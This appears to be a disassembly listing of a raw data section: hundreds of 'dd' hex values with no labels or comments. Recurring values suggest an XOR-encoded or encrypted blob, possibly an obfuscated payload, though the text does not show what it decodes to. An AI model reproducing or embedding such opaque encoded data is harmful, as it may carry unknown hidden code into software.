		dd 6BEFED22h, 0CB150C43h, 2C1CF3EEh, 3D75609Ch,	321560C3h
		dd 329D6922h, 53156611h, 1144E301h, 20FC6050h, 0EC156622h
		dd 43B8086h, 9042BABh, 26714288h, 3D91BE55h, 0E7A0ED71h
		dd 52137285h, 0ADFEE722h, 0FCA26971h, 4388ED70h, 3D13728Ah
		dd 321567C4h, 879C9322h, 3401627Ch, 32156A61h, 0CF8F5044h
		dd 56C46524h, 9B0C60F2h, 2B88EFAAh, 52137244h, 3DEBD92Dh
		dd 32156598h, 0E1AA6988h, 4388ED25h, 3D137220h,	32156795h
		dd 8A459E88h, 32156644h, 3A9EBE23h, 0B131629Ah,	0B975624Ch
		dd 379F69BAh, 54156622h, 0EA199490h, 32ECE5E9h,	0B7EE24Bh
		dd 0DB756622h, 3215661Ch, 6A04FE0Ah, 0E062585Bh, 0CB66FF8Ch
		dd 0FCA269FAh, 0BB1A06E9h, 32156640h, 0D7FDD844h, 53CED11Eh
		dd 0B3F6EFDBh, 32156287h, 36FEE722h, 0B5156611h, 0BB494294h
		dd 0B11A4240h, 32156634h, 321577F8h, 5D34C588h,	2864B164h
		dd 919AC02Dh, 0F8FE553Bh, 0BB43E3A5h, 36D3E7A2h, 0B1156622h
		dd 69262FFh, 3E9C3AACh,	36916960h, 52156622h, 52743F40h
		dd 0ED949FE8h, 44190BE1h, 0DBD55743h, 3215661Bh, 97F0FB19h
		dd 0AE912191h, 35FC0170h, 0EB156611h, 9985C678h, 0B79C450Ch
		dd 3401480Fh, 321576F8h, 0D2E80288h, 0C3FDC20Bh, 411E85B5h
		dd 371AA942h, 3D93D841h, 64534B08h, 6C317AD5h, 0C2288890h
		dd 0B3E9B43Bh, 323534AAh, 1661656Eh, 1CAF3431h,	0B3199F9Dh
		dd 3D70CAB6h, 65DFE752h, 78173F5Dh, 6E918C09h, 0E41454BBh
		dd 33956978h, 0CE156611h, 0B31ACBEEh, 32156657h, 32128F42h
		dd 0F6B36611h, 122A006Ch, 0F2940083h, 1F74CF04h, 589A694Bh
		dd 5A0AC4A5h, 1651656Bh, 2DB76302h, 68104979h, 527FE987h
		dd 4C2E713h, 6B27E1B6h,	0CD74889Bh, 69E1EF8h, 36D1E760h
		dd 0CE156622h, 0DA8A090h, 46165E8Fh, 8D424660h,	4C003722h
		dd 8ED2E756h, 1BAC9766h, 3CFC39BAh, 6B156622h, 0BB4C69E2h
		dd 28B06E36h, 882DED1Fh, 2A639950h, 4F315290h, 6D12BCA2h
		dd 7A64DD17h, 0E1E249DBh, 0BF048D90h, 0ED24AEA4h, 32018F1Fh
		dd 1F256622h, 480D5192h, 1C167373h, 27DA5FEDh, 0B3CFE3CDh
		dd 8F9C900Fh, 340146EDh, 3DEAE3B8h, 321545A7h, 3CFC9F11h
		dd 87156688h, 5C531F23h, 5F6152CCh, 9A19C489h, 535A8E59h
		dd 87756644h, 0CBFC07ADh, 0CA156615h, 327E80E0h, 1619EF44h
		dd 0C5943542h, 774B7197h, 0B94207D1h, 0F6964250h, 0E07E9A26h
		dd 321A8F15h, 0A1756688h, 0F3A44307h, 0AE93F891h, 0D6DFD6C5h
		dd 3380EFD4h, 5213725Eh, 0C0940042h, 851A56F8h,	0DB940776h
		dd 1B4029E3h, 3D110C43h, 32156A91h, 34936988h, 3D156644h
		dd 321566ADh, 22150E11h, 39FC6688h, 0C6156644h,	0E9FE44E4h
		dd 2C378D1Ah, 0CA7DA9D9h, 0BB15665Eh, 0B71A4236h, 32156607h
		dd 32188FE8h, 5BBF6644h, 0D7427486h, 79F93AC6h,	0B9CEDCBBh
		dd 22FC079Eh, 0C0156622h, 0EC69A26Fh, 20E1C4B8h, 38029F83h
		dd 5880E5C9h, 8DEC0611h, 5AA50C44h, 3B809925h, 0CB13723Ch
		dd 2B80E398h, 3DEC609Ch, 32156FC1h, 5EAB0622h, 0B8596490h
		dd 63450770h, 4D0500FDh, 16594F4Ch, 0B34F3F15h,	4D05004Ah
		dd 6EA9E2Ah, 0F6943F06h, 32156615h, 32188FE8h, 6C9D6644h
		dd 78E6F8F4h, 36AFD486h, 8B7E85BFh, 0C39CAE3h, 52228E43h
		dd 34FC6611h, 96156688h, 0B3BFC68Eh, 0A7D936Ch,	0BB156618h
		dd 0BB1A42BCh, 32156645h, 0B97506DAh, 53D3EDC9h, 7596D9EEh
		dd 5475CB25h, 5AA2B5A3h, 3216ED1Eh, 0FF956688h,	4B100775h
		dd 37732219h, 798F6BC6h, 1631228Bh, 0A818B169h,	96C4B69h
		dd 37FC0055h, 5E156688h, 4170F4D9h, 0F5249E13h,	3CFC9E20h
		dd 0DA156688h, 2D517708h, 9FCB0528h, 0BFCD192h,	35936907h
		dd 52156644h, 0D7953D75h, 0BB4507A7h, 0B9D6EF70h, 0F6944240h
		dd 32156626h, 3200ED1Eh, 0BE1A6688h, 3215664Bh,	32156CCBh
		dd 8C2CE011h, 0A0C6CF30h, 64A3E64Fh, 0F49480ABh, 32156615h
		dd 32118809h, 6926644h,	0E9C3A06h, 32188F35h, 2CA56688h
		dd 0B1F6A993h, 303AC4EFh, 2C7E696h, 27986948h, 52156644h
		dd 3EFC4596h, 70156611h, 59C364Eh, 3427A70Ah, 538725A8h
		dd 52E813BFh, 0F89400D8h, 524DF88Ch, 53DBED44h,	339A6970h
		dd 0CB156688h, 623152CFh, 361086ABh, 0B1156611h, 36926248h
		dd 0B81A3A60h, 32156628h, 0BE4E771h, 0B82F9260h, 0DD9407AFh
		dd 53B72882h, 33EF8990h, 0ED3C0DC0h, 33EFA1C5h,	0F5940D6Ah
		dd 53B728B1h, 3200E687h, 22FC6644h, 0B156622h, 0E2F39738h
		dd 0D0CE72D0h, 437992A0h, 0B1F5DF23h, 269C62FDh, 321C8FACh
		dd 0F56A6644h, 421A723Eh, 5A88AB85h, 32151672h,	0B3315ACDh
		dd 42974216h, 0B34F12FEh
		dd 0DD65E47Ah, 32128F30h, 56F06622h, 0AC5C76A6h, 33A8EDD4h
		dd 0DB137248h, 32156624h, 5602659Dh, 0CDACC991h, 0CEEA99BBh
		dd 63E0A613h, 2A67DB44h, 0B3585284h, 9D5CA2B1h,	0A8F8E70Bh
		dd 0B368A151h, 0EE047D7Dh, 6FFCEFDBh, 339F9723h, 0FD940648h
		dd 155B5697h, 3210E94Bh, 9BAD6622h, 53737D7Bh, 65EDAEB8h
		dd 0CDEA99FBh, 6DEB4FDDh, 321572F8h, 4E89C888h,	8073F32h
		dd 90CA8094h, 0C022EB08h, 36F482Ah, 0B521991Bh,	1365DE72h
		dd 762476C0h, 6A4D62ACh, 0E3341671h, 0DBD49332h, 32018F19h
		dd 0E71A6688h, 0A7236EDDh, 0FE7DB443h, 7611B7B2h, 0D2E71BE8h
		dd 0F324146Eh, 0B71A2CD7h, 0CDEA9979h, 32156361h, 0E5E7144h
		dd 0DE962AAEh, 1629EF15h, 0CA9CA901h, 2293691Bh, 0DB156622h
		dd 3215661Ah, 852FFB0Ch, 0DAA70BD2h, 522CCD5Dh,	3DD6D11Eh
		dd 3215600Fh, 329E6944h, 53156622h, 26E23384h, 0DB803BACh
		dd 32156641h, 0DF0333A7h, 162199F2h, 36D1E7D2h,	0DB156644h
		dd 32156632h, 0C7FF41DEh, 41E48ACAh, 0B91D1295h, 684D00D5h
		dd 0EC9E0071h, 32156A60h, 0AB626D44h, 35CA57D8h, 3D2C0FF8h
		dd 321C8F47h, 72E86644h, 794A0563h, 6D33C015h, 36F9E5E9h
		dd 0BB314ACDh, 6F3FEFE7h, 3212E41Eh, 0B71A6688h, 32156645h
		dd 8B4433DEh, 46B42E4Bh, 2AE78F09h, 0F39466FEh,	0BE0DB6BEh
		dd 334CAB98h, 0B31A3B62h, 32156650h, 321BE92Dh,	3BFC6611h
		dd 0F4156688h, 0CA971E46h, 0CAE5E756h, 0B3F0EF44h, 3215624Dh
		dd 36F8E744h, 0B5156622h, 0BB49423Dh, 0B01A429Ch, 32156654h
		dd 321FE92Dh, 37FC6611h, 73156688h, 45CA4737h, 1C38E3DDh
		dd 0B9E96005h, 263B4B1Dh, 321F8F42h, 4FD16622h,	0B1AEE95Fh
		dd 0ABF97ADh, 1270F37Dh, 0B61A6036h, 32156647h,	6EA9E70h
		dd 0F6943C60h, 32156626h, 0EA9E0071h, 7AE57433h, 6EA0778h
		dd 0F6943806h, 32156615h, 32138EE8h, 10A86644h,	0BF2F35D2h
		dd 3D4C0771h, 6574A137h, 3211DB11h, 0DD9C6622h,	6DEB674Ch
		dd 0CB749AE8h, 0CDE937ADh, 0B97506DDh, 534E36D9h, 73D3E7EEh
		dd 6EA07A7h, 0F6963C06h, 321C8F15h, 130D6688h, 0E8376992h
		dd 0CD46B7FAh, 0B14B4225h, 3D75624Ch, 53ECAFFBh, 21916943h
		dd 0DB156611h, 32156686h, 5DEA53FFh, 0F0C38CBCh, 56D57E8Ch
		dd 6EA0A68h, 0F6943F60h, 32156626h, 3214E21Eh, 0B9ED6688h
		dd 0BB474240h, 36D7E7C0h, 0B1156611h, 2692624Ah, 3EFC3A60h
		dd 38156622h, 0CC72323Ah, 0FF18703Dh, 0F54186B8h, 2605D7A7h
		dd 32156617h, 0B7D29E88h, 340179C5h, 32156622h,	24906971h
		dd 0DA156688h, 32156654h, 0B6318AC5h, 0A5FCC8Ah, 794849ABh
		dd 67933FC6h, 8F96077Ah, 340EC035h, 0A916988h, 0CE156644h
		dd 911AFBAFh, 5475600Bh, 0B3739103h, 533F609Ah,	0B71AB5DDh
		dd 3215661Ah, 329269E8h, 3D156644h, 0DB74A995h,	3215661Eh
		dd 0C5FC2BE3h, 0AFD39F20h, 89DB256h, 0CD483D65h, 263ADB0Dh
		dd 88730642h, 21FC707Eh, 76156611h, 886A17AAh, 0BA46380Bh
		dd 0AAC0EAD1h, 17034ABh, 0B174EF24h, 263ADBF9h,	0B01A0224h
		dd 321564AEh, 349B69E8h, 3D156644h, 321566ABh, 53E2ED11h
		dd 1DA8E34Fh, 32146050h, 20FC6622h, 72156611h, 87ED1FD9h
		dd 0C61DF1A4h, 0BB490402h, 0BD09F64Ah, 0BFED0631h, 2967DEC1h
		dd 0CDED9A24h, 32068FC1h, 11376688h, 36310A5Dh,	46A3BECBh
		dd 9D463526h, 0B8B0DEF2h, 339E6964h, 0CA156622h, 94E1D39Ch
		dd 3D756093h, 0D2A3B5FBh, 3DA8EB43h, 3D137A22h,	32156E05h
		dd 0B9730644h, 8AF8E6ECh, 4AD2E770h, 0B35FC2B0h, 9A4A1EABh
		dd 0B3E24F5Bh, 9A4A1ED6h, 4AFAE7F1h, 3D5FC27Ch,	321563ABh
		dd 0B9730611h, 0B9420776h, 0F6964250h, 3FFD0626h, 98156611h
		dd 0A4866391h, 65520855h, 0AA088BE2h, 676C9090h, 0DA4E319Dh
		dd 3215664Fh, 698725A8h, 385CB212h, 0B275E965h,	534A618Eh
		dd 3E14DBA9h, 35FC6005h, 0B2156688h, 4D179183h,	0CDAC55E7h
		dd 3DEA99EEh, 3215620Ch, 53750644h, 0DBD55743h,	32156616h
		dd 0A6AF44A7h, 0CE8EA08Bh, 3215DF73h, 0C3146611h, 3E9E6702h
		dd 36D1E760h, 0CB156622h, 0B31AAE21h, 3215669Fh, 0DB740624h
		dd 3215662Ch, 55C8965Dh, 90150659h, 224B9C20h, 61740EF4h
		dd 321567AAh, 69CB6788h, 3204E24Bh, 3EFC6622h, 0BF156611h
		dd 0B1BC2EDh, 85851A32h, 0DB5F2C4Eh, 3215661Dh,	5F81B6DAh
		dd 6A7D08FCh, 90821C9Eh, 0DB92629Ah, 3215668Eh,	0A9103770h
		dd 0DBD4EFD7h, 3B916919h, 52156688h, 34AF3D17h,	533899B8h
		dd 3CFCA720h, 0A4156688h, 0E22775CBh, 76CFE016h, 7A854FFh
		dd 0B71A2C49h, 0CDEA9915h, 1E9437DBh, 0E05A0435h, 1611EDB1h
		dd 3711A2C7h, 0BC72940h, 321574F8h, 12B2B888h, 2A02E1DBh
		dd 0C2DB1178h, 1FC97A1Eh, 62FE853Fh, 0C5315AC3h, 1629E1F5h
		dd 0B72C9349h, 34016915h, 32BCE24Bh, 0B81A6622h, 32156602h
		dd 32156861h, 5CF53044h, 6A02A142h, 6CAC0164h, 5A1B4E9Dh
		dd 32156644h, 0B33162A9h, 321562D5h, 35966988h,	3D156644h
		dd 321567A7h, 39FC9A11h, 99156688h, 6A3A5E02h, 7DBA287Fh
		dd 0F21E316Ch, 3231E387h, 54756644h, 10AFB9A9h,	53715AF7h
		dd 18E8E34Fh, 32146050h, 39FC6622h, 50156611h, 8E3A9A8Ah
		dd 94F578A7h, 89462A68h, 27517AADh, 0EEBA509h, 0EB148CA9h
		dd 0B3317AA9h, 321562D5h, 321D8F88h, 0BBC36644h, 31FD102Fh
		dd 22FC8AC2h, 89156688h, 60722EDBh, 565DB012h, 0C09BD7F9h
		dd 53542B5Bh, 321568ADh, 0EBDA2B22h, 2656522Ah,	1BE4444Ch
		dd 520D063Dh, 32156ACBh, 0ACCD2711h, 72D72D95h,	911F3958h
		dd 0E09400D5h, 6174DB8Ah, 7179C7E0h, 0D9943D2Eh, 45D54811h
		dd 0EA4C9590h, 0B346A206h, 6E394270h, 0B34C75CDh, 0DD494AE0h
		dd 62EC3D9Bh, 3CECE1FCh, 0B9D7EF0Bh, 0F6964215h, 0B373068Ch
		dd 0DBD4C78Fh, 3215662Ah, 0E270179h, 23EE602Dh,	32048F25h
		dd 0C1606622h, 619EA27Ah, 1568B92Fh, 2E69C4ECh,	9F723899h
		dd 320EEF1Eh, 0DA756688h, 32156654h, 5FC82014h,	7E790776h
		dd 2481A5FDh, 0CB8E6FCAh, 0F99E0078h, 5FA0EF70h, 0DB13728Ch
		dd 3215664Dh, 0F51D9EEh, 0D064A9C4h, 36F9E5DAh,	8B316ACDh
		dd 32156622h, 6BE92898h, 0DCFB5B71h, 0B71A88AAh, 3215668Fh
		dd 0C2940071h, 8D1A7B07h, 0C9407B3h, 0EFC8BBFFh, 3282E31Eh
		dd 5AE96688h, 32153D6Ch, 883172ABh, 32156611h, 30D29489h
		dd 32156644h, 32108F78h, 95C86611h, 602B5171h, 321562FEh
		dd 0B9C36722h, 0F6944205h, 3215668Ch, 32078F24h, 70656622h
		dd 7A68A048h, 415ECA5Dh, 82ECB057h, 20E3AF5Bh, 3217E91Eh
		dd 68456688h, 5FA0EF25h, 52137226h, 32156FF8h, 8CF67A88h
		dd 959FE4E6h, 53E0540Eh, 3239C2F8h, 0B61A0688h,	32156646h
		dd 0DB74ADA9h, 0CDEA98AEh, 3FFC36E8h, 0D3156644h, 8A7F7FDBh
		dd 14FAC6A4h, 12F22931h, 0F1AA691Ch, 36943643h,	98329935h
		dd 1609EDE9h, 0B311A2C7h, 983299C9h, 32138F70h,	34536688h
		dd 8A2ECB02h, 321561CBh, 0A942CE11h, 8A4DC2F7h,	18E8E377h
		dd 22FC6036h, 0F5156611h, 0EFFCA570h, 0B981E022h, 0F10B6221h
		dd 0F315CFA6h, 0B3756540h, 0C973D982h, 0F1A26975h, 2D466370h
		dd 0E23C69F4h, 2D46DD17h, 0EA3C695Eh, 0B61A064Ah, 3215668Bh
		dd 530383C4h, 0DB05A6E3h, 32156617h, 7D8BDC44h,	0FA24CCB6h
		dd 0E4A26942h, 53DAD91Eh
		dd 18E8FB01h, 0B81A6050h, 32156631h, 321568F8h,	7FF8188h
		dd 3F16844Ch, 4B974D7Ah, 0F69909Ah, 32146688h, 33C2E54Bh
		dd 3FFC6622h, 0BF156611h, 0E26764F8h, 0EEB72EB0h, 671341D9h
		dd 321DE11Eh, 0B31A6688h, 32156646h, 0C940742h,	89AEDDAAh
		dd 33BEE387h, 0F5EC6644h, 901FD924h, 0B30B9164h, 190E55AEh
		dd 0F313993Ah, 1C946204h, 0CDEA99EEh, 22345009h, 37FCC6D5h
		dd 0B9156622h, 407B24BEh, 51ECD9DFh, 0DDD40E08h, 0C5CA9120h
		dd 0DDD429CEh, 93D2E78Eh, 33EAF1F7h, 527539DCh,	0B3733942h
		dd 53158356h, 32156FADh, 9470B122h, 8B94A974h, 0CB743EE8h
		dd 3678D3CDh, 0BD1A6036h, 3215661Fh, 32156F61h,	1A22F544h
		dd 8EB2FC22h, 0AF9E6F2Ah, 340164F9h, 321576ADh,	1ED2A922h
		dd 7FE6B143h, 9F4E4269h, 0BF2B937Ah, 0B3269934h, 700423Dh
		dd 3E9E112Fh, 36D1E760h, 0B3156622h, 952073D0h,	339969FFh
		dd 0C7156644h, 321B454Ah, 1619EF11h, 0F89CA701h, 0F495061Dh
		dd 226CD8C9h, 52744C70h, 3218EC87h, 3D756644h, 321566ACh
		dd 0EA6BDC11h, 52740EC7h, 851AA1CFh, 0B94707FCh, 0F6964215h
		dd 321F8F8Ch, 167A6644h, 1F9B54FBh, 93B771D0h, 19B0E3A3h
		dd 0CA756050h, 53DEED44h, 0CA1786D0h, 638E38Bh,	3EC6050h
		dd 3D357D2h, 0D79F06E1h, 9F74AC03h, 2DD3E724h, 3D201263h
		dd 3215659Ch, 0C9A26988h, 32058F25h, 7D206622h,	0CA2FD232h
		dd 0AA631B74h, 7C504CE1h, 0C5384505h, 1F4D792Ah, 7AB902CCh
		dd 7610AE45h, 375DCA46h, 6A0A5DE6h, 32156361h, 0F7CD4844h
		dd 769C1844h, 3D757A35h, 32156803h, 321D8E44h, 41FA6622h
		dd 31719766h, 524C74E7h, 8101A7C4h, 5374072Eh, 3214E31Eh
		dd 0C7EC6688h, 32164AADh, 33966922h, 0CA156611h, 321EEA87h
		dd 54756644h, 66D4A5A3h, 0AC05DC77h, 48410EE9h,	3E9C6644h
		dd 3BFC0606h, 7D156611h, 0B6D251C0h, 59664558h,	3213E72Dh
		dd 0B61A6611h, 32156688h, 12330E25h, 269C6622h,	32138F35h
		dd 37886688h, 3355DB1Bh, 3EFCAF13h, 0D9156611h,	92341C36h
		dd 0FA55C89Fh, 0B93A11D3h, 260CF384h, 3A98698Eh, 3D156644h
		dd 321564A4h, 9740611h,	3C91698Ah, 52156645h, 32156BCAh
		dd 0E2A78311h, 0FE90373Ch, 31D92E0Ah, 88733CF5h, 0DB4FFCCBh
		dd 32156698h, 506C6DD5h, 0AA623299h, 0D1D301FDh, 0ECB27AA0h
		dd 8D423025h, 32156626h, 334A9898h, 0B975387Ah,	32138F87h
		dd 0B9C06622h, 0DC7D52F3h, 36EA37E9h, 1619ED60h, 0DB11A2A1h
		dd 32156601h, 4E62FE80h, 62B712C7h, 958622F7h, 67A1E28Eh
		dd 1270EBB3h, 0B71A6050h, 0CDEA99A1h, 321DE31Eh, 0B01A6688h
		dd 32156646h, 5A470742h, 72F243FBh, 96AC37D2h, 0B34F8B4Eh
		dd 5B5FCEC3h, 93D4E716h, 0F341769Ah, 0DB9464A5h, 0C6DE31CCh
		dd 0B34CAC20h, 0CC2D9A62h, 68C5EF61h, 32156ECBh, 0E8702511h
		dd 1E38DD69h, 23FC06B4h, 65156622h, 0D0D3D28Eh,	50E06C29h
		dd 0D69DA89Bh, 8E826238h, 0BF7448A4h, 26589905h, 37FC0642h
		dd 13156622h, 9B5F23FFh, 0EFB6B009h, 0CD747ED4h, 0DBE006C3h
		dd 32156605h, 801058B5h, 0AAAE9074h, 168EA892h,	0DE370794h
		dd 27E6D959h, 1F98EF25h, 0CA13720Ch, 683152EEh,	3211A209h
		dd 0B3756644h, 0C6F1B5FCh, 3E9E0718h, 0D19C35ACh, 3211A5C5h
		dd 0F1966622h, 1609E115h, 0C39406D4h, 1E08137h,	6852DF44h
		dd 0D09C3470h, 3211A409h, 0D8946644h, 32156626h, 6E317296h
		dd 0DB315201h, 32156648h, 70585C31h, 0DDDB1A45h, 22FFEE2Ch
		dd 3064FBCFh, 20FC6036h, 0C9156611h, 73DE5D9Eh,	5C485E30h
		dd 8C369FD9h, 1B214FF3h, 0B326992Eh, 27B94270h,	3E9E39E7h
		dd 36D1E735h, 0B3156688h, 0F700CAB5h, 249B697Dh, 0DB156611h
		dd 32156699h, 0A61DD188h, 14C09CE7h, 0B5E41EB6h, 0F6F01481h
		dd 1F90ED99h, 3D13720Ch, 32156C93h, 0B61A0688h,	32156644h
		dd 0E374B8A9h, 359169F1h, 52156688h, 52E7D94Bh,	0B7160743h
		dd 340178B8h, 32156D61h, 6F8F44h, 0E59E3F3h, 10CC92AEh
		dd 887590B9h, 29C64670h, 0B374A5A8h, 321562FDh,	1611EF88h
		dd 524B3E12h, 0AB08D944h, 0DB743846h, 3215669Ah, 72E18E75h
		dd 0AB2E4AFCh, 5224F397h, 0B22C0628h, 9F73FBD0h, 32156FCBh
		dd 34129011h, 0E85F3ABDh, 0D2D4EF34h, 32108F20h, 30A96611h
		dd 31BB764Eh, 26214BC1h, 3D759A24h, 32156394h, 3EFAD888h
		dd 37427A0h, 3D357D2h, 3D4306E1h, 32156606h, 851A3844h
		dd 52B807FAh, 321560F8h, 61E20888h, 6558D057h, 8B440779h
		dd 91B64D5h, 334CAEA1h,	30D1638Ch, 0CDEC5D2Ch, 0B14B4225h
		dd 3CFC624Ch, 53156644h, 0DD61888Ch, 0D24170BBh, 75E7BCF4h
		dd 93A8E56Fh, 3313722Fh, 3310E21Eh, 0DA756688h,	32156654h
		dd 0C14B091Dh, 1C12689Bh, 0FBD5750Dh, 65D40B7Bh, 3215E22Dh
		dd 0DB4D6611h, 3215669Ah, 68FBBA03h, 75AC884Fh,	5B01D029h
		dd 4FF617F6h, 974F047h,	26194BAFh, 0F6916917h, 0CB156688h
		dd 1B70EB7Fh, 0B61A6036h, 321566A6h, 32157761h,	0EBE1D944h
		dd 0ADEED200h, 177B7999h, 0F4E28D76h, 9E014B7h,	263E43AFh
		dd 0A6916917h, 52156688h, 321561ADh, 14134022h,	66375F43h
		dd 3215EF87h, 0BF746644h, 2E1150BFh, 3FFD0617h,	0B0156688h
		dd 2E3F643Ch, 11BDD80Bh, 8AD7750Eh, 0C0A03974h,	0CAC69925h
		dd 32118AA3h, 369C6611h, 0B61A39ACh, 32156651h,	321576CBh
		dd 41526C11h, 0F600E4E7h, 0CD3852C9h, 8CFF50F5h, 8F90EF7Ah
		dd 52137288h, 321569ADh, 7160AA22h, 0A37869B6h,	4D806A0Dh
		dd 0FBA9FBBAh, 321561CBh, 6A6C9711h, 2DC0EB7Fh,	12198F25h
		dd 3AFC6622h, 0BF156611h, 0F0CD03E1h, 0BFAD34BBh, 2E1150BFh
		dd 0E1EA9317h, 32157761h, 3BAE6B44h, 6D4AB10Ch,	0F06BAE46h
		dd 6F6FA43Dh, 8F96606Ch, 34016B83h, 54916911h, 0CB156688h
		dd 1838E37Fh, 0B61A6036h, 3215662Ch, 3212EC87h,	0B21A6644h
		dd 32156623h, 321B8FE9h, 6B876688h, 0C1095272h,	0D86543C2h
		dd 972CC9B9h, 3070E3B3h, 0B71A6050h, 3215660Fh,	32156AF8h
		dd 0EA2FF288h, 5F378F5h, 0EB310987h, 0CD108F23h, 20FC9977h
		dd 0FB156644h, 0A3571E60h, 3821923Dh, 3A5F7C62h, 75ABC8F5h
		dd 0BB905DC5h, 3D13720Ah, 32150B0Dh, 0BE1A0644h, 32156620h
		dd 0CC9F9E9Ah, 0FFA8E5E9h, 32137245h, 323AE22Dh, 0B31A6611h
		dd 3215669Fh, 0DB4E3424h, 3215662Ch, 0E87BDC2Dh, 45A0DF94h
		dd 0FD069C57h, 0B174ADEDh, 26158FACh, 0B61A668Eh, 3215666Eh
		dd 0CBC0EC42h, 3590EB70h, 52137DE5h, 32156BADh,	622D7722h
		dd 9329A81Ah, 0B78F8894h, 0B3734483h, 53FE72FAh, 0CDEB10F8h
		dd 0B72E9377h, 34017DCDh, 0CC7CE22Dh, 0BF1A99EEh, 32156689h
		dd 3AA8E5BDh, 33137D84h, 3254E31Eh, 9EC6688h, 29B35AC1h
		dd 6906924h, 52156611h,	32156A61h, 0B8227344h, 4A596778h
		dd 0DE9ACFCDh, 0BF749384h, 6B1E82C1h, 7BFC9A22h, 0DBEA99EFh
		dd 32156687h, 699ECA51h, 0FB4B2318h, 99E1876Ch,	34A7454h
		dd 0B97306BBh, 32188FE0h, 6F246611h, 66BB81E5h,	99FB89FCh
		dd 53BB1E3Ch, 3D9CDB92h, 3D15609Ch, 3205E9C0h, 3B906922h
		dd 52156611h, 0A9FEA737h, 5374062Dh, 943DE319h,	0B71A600Ah
		dd 32156693h, 5F90EDB1h, 0CB137228h, 0CDEADE41h, 0F53C9977h
		dd 0EC95061Ch, 37AE0072h, 9E90758h, 29B3560Dh, 19906942h
		dd 3D156622h, 3215679Dh
		dd 0B79E9E88h, 34017D01h, 53E7ED42h, 579CDD42h,	0B35E5683h
		dd 3970E1AFh, 69CA6712h, 321563F8h, 8C127888h, 0B72EA8BAh
		dd 340EC00Eh, 3230E31Eh, 0B9E96688h, 260F17C1h,	3A976924h
		dd 3D156611h, 32156406h, 0CA740644h, 3214DD71h,	0ED146611h
		dd 887306D3h, 9742A7Ch,	29B352A7h, 7F906917h, 3D156688h
		dd 321567C4h, 0B79E9E22h, 34016F84h, 3202E587h,	20FC6644h
		dd 1156622h, 890A9D25h,	12F965FBh, 7F88CF2Eh, 81863F9h
		dd 33AC3796h, 33156688h, 0DBEC3F8Bh, 32156636h,	0EA56BEDDh
		dd 691D4248h, 66BAEBC5h, 0C76A1429h, 0A48D17D4h, 942DE3B3h
		dd 0B71A605Fh, 32156616h, 3214E11Eh, 0B9E96688h, 2638ABC1h
		dd 339C6924h, 0CE156611h, 7041DED8h, 0E2E20AD0h, 2B7B340Fh
		dd 7D4D536Dh, 0F51471DAh, 8C73061Ch, 90AEF7C8h,	537F7C21h
		dd 9429E3B3h, 0B71A605Fh, 32156630h, 0AB90EDE8h, 0CB137283h
		dd 3214DB11h, 0DD146622h, 0B72E9E4Ch, 340EC0C8h, 325CE34Bh
		dd 0B11A6622h, 3215661Dh, 32156161h, 0DC92E644h, 801CFF1h
		dd 2FC4E39Ah, 3CFC609Ch, 0B0156644h, 87D682EDh,	0C4681AA8h
		dd 2053D326h, 33AC3775h, 33156622h, 3DFC3FDEh, 65156688h
		dd 53F6D3C9h, 1701C4B2h, 2A7ACF6Dh, 9E0EC8Ah, 29B322C1h
		dd 5A906924h, 52156611h, 0B79E077Dh, 34014981h,	32078F42h
		dd 0EFB36611h, 0C9215505h, 3166DD5Bh, 9B7F46CEh, 37CE2B8Ch
		dd 3215E987h, 63746644h, 9567809Bh, 3AF4A725h, 5B04AF09h
		dd 0DB9406B5h, 0D5E68930h, 3D4CA938h, 32156C05h, 0B71A0644h
		dd 32156622h, 5274809Bh, 3211E887h, 8B736644h, 0B21AA8A3h
		dd 32156617h, 3215E787h, 9746644h, 29B32EA7h, 2C906917h
		dd 0CB156688h, 1DB4E3CFh, 63ED6036h, 321567A8h,	6BDA6788h
		dd 3212E24Bh, 0B21A6622h, 32156610h, 7E905D70h,	3D137DE2h
		dd 321527A7h, 32018F11h, 26276688h, 309202F1h, 10DD9D4Dh
		dd 0D83B349Ch, 324EFFCEh, 0B79E7D53h, 34016507h, 3213E91Eh
		dd 81756688h, 537406C9h, 3214DD71h, 0ED146611h,	321D8FD3h
		dd 91EF6644h, 32B21805h, 0B72E64F2h, 340EC0DCh,	3254E34Bh
		dd 0B01A6622h, 32156618h, 0B11A9EE8h, 32156644h, 2390ED43h
		dd 0DB137208h, 3215668Eh, 0F4B6EDB0h, 8F403735h, 32156610h
		dd 3D488989h, 321561CDh, 33916922h, 0CE156611h,	0C09E00E8h
		dd 3215E54Bh, 9746622h,	29B33694h, 6990698Eh, 0CB156644h
		dd 304CDBA1h, 3D156005h, 32152B0Dh, 32138F44h, 377D6622h
		dd 100177ADh, 2070E303h, 3FFC6050h, 72156622h, 53278C83h
		dd 537F4ED9h, 0F4EF5ADDh, 3214DD71h, 0ED146611h, 0E69506D3h
		dd 32018E6Eh, 0CC4E6622h, 9A615750h, 0AC571901h, 0CDBA5843h
		dd 0C6C7331Bh, 6D425353h, 8F9607D2h, 34016485h,	59916922h
		dd 0C7156611h, 32156F61h, 0BB9CEC44h, 7FC7222Ch, 0B72E85FBh
		dd 340EC054h, 3245E34Bh, 0B11A6622h, 32156606h,	32157461h
		dd 0D181D844h, 0DC867B94h, 0EA6463D6h, 0EA0C8126h, 0B978F902h
		dd 26139FA7h, 0B11A0617h, 3215668Dh, 7AF4E722h,	8F400767h
		dd 32156610h, 0DB488989h, 32156656h, 71F7AE19h,	1DA2FFFBh
		dd 30F8A989h, 2DF6AD89h, 8F96EEF1h, 34017000h, 27916988h
		dd 0CE156646h, 6C4DBA1h, 3D156005h, 3217610Ch, 32058F44h
		dd 0FACD6622h, 6DC39768h, 0EF173BCCh, 0D2440FF5h, 0B72ECC71h
		dd 340EC0D1h, 3254E387h, 0B9E06644h, 261867A7h,	3E926917h
		dd 3D156688h, 321560CFh, 329B6922h, 62156611h, 32156730h
		dd 6AD26744h, 2A9169DBh, 0DB156611h, 3215669Bh,	2CBFC17Ch
		dd 5D7BEF8Bh, 7C1D2786h, 532595E4h, 9230323h, 29B3B6A7h
		dd 0C906917h, 52156688h, 32996924h, 54156622h, 53A7F1A8h
		dd 53CCEDEEh, 12A0E3CFh, 39FC6036h, 1B156611h, 9E77B678h
		dd 734D35EAh, 8B445069h, 0CDEA99EEh, 0DB4CA9A1h, 3215664Ch
		dd 0E2B9CA0Ah, 1B3AC9BFh, 0F6905D70h, 3D137DE2h, 32152DA7h
		dd 32068F11h, 0C0106688h, 0E3DBA01Ch, 6C04C0ABh, 0FAA544ECh
		dd 5FD88249h, 6F90ED13h, 0DB137207h, 32156619h,	64B14B0Bh
		dd 81C73C41h, 635CDC70h, 0D0942135h, 47E731D7h,	0B3178485h
